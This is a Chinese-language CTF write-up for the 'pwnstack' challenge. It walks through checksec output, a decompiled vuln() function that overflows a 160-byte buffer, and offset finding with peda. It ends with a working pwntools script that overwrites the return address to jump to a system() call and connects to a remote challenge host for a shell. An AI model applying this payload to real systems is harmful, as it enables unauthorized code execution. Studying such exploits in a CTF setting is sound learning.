pwnstack

题目地址 pwnstack

0x1

下载文件到本地后,首先,file 看看文件类型,顺便看看保护机制。

sakura@Kylin:~/下载/pwnstack$ file pwn2
pwn2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62aa40d64871e142a32827b4e403772e72f67fba, not stripped
sakura@Kylin:~/下载/pwnstack$ checksec pwn2
[*] '/home/sakura/下载/pwnstack/pwn2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

可以看到,这是一个 64 位程序,并且只开启了 NX 保护机制。

0x2

再拖进 IDA 中看看源码。

__int64 vuln()
{
  char buf[160]; // [rsp+0h] [rbp-A0h] BYREF

  memset(buf, 0, sizeof(buf));  //将 buf全部置为 0
  read(0, buf, 0xB1uLL);   //0xB1 = 177 bytes
  return 0LL;
}

__int64 initsetbuf()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  return 0LL;
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  initsetbuf(argc, argv, envp);
  puts("this is pwn1,can you do that??");
  vuln();
  return 0;
}

由于只开启了 NX,只需溢出 buf 覆盖函数返回值即可。

peda$ pattern create 200
peda$ pattern offset .........

image-20220922202634809

image-20220922202345579

得到填充长度为 168 byte

0x3

先看看 pwn2 中是否有 system() 调用,如果有就不用我们自己构建了。

image-20220922220713163

from pwn import*

#sh = process("./pwn2")
sh = remote('61.147.171.105', 54665)
#context.log_level = 'debug'

system= 0x400766
# 这里我用 0x400766,而不是 0x400762,是因为不能破坏栈的结构。
payload = b'a'*(0xa0)+ b'a'*8 + p64(system) 
sh.recv()
sh.sendline(payload)

sh.interactive()

0x4

测试

image-20220922221704374

远程测试:

image-20220922221935298